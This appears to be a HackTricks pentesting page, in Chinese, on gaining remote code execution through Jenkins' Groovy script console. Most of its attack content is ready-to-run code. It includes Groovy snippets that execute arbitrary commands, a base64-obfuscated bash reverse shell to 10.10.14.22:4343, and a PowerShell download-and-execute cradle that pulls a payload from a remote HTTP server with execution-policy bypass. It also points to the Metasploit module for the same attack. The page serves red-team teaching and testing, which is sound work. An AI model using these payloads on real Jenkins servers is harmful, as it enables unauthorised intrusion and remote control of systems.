Jenkins RCE with Groovy Script

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Jenkins RCE with Groovy Script

这比在Jenkins中创建新项目要安静得多

  1. 转到 path_jenkins/script
  2. 在文本框中输入脚本
def process = "PowerShell.exe <WHATEVER>".execute()
println "Found text ${process.text}"

您可以使用以下命令执行: cmd.exe /c dir

linux 中,您可以这样做: "ls /".execute().text

如果您需要在文本中使用 引号单引号,可以使用 “”“PAYLOAD”“”(三重双引号)来执行有效载荷。

另一个有用的 groovy 脚本 是(替换 [INSERT COMMAND]):

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = '[INSERT COMMAND]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Linux中的反向Shell

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

Windows中的反向Shell

您可以准备一个带有PS反向Shell的HTTP服务器,并使用Jeking下载并执行它:

scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>

脚本

您可以使用 这个脚本 自动化此过程。

您可以使用 MSF 获取反向 shell:

msf> use exploit/multi/http/jenkins_script_console

Tip

学习并练习 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks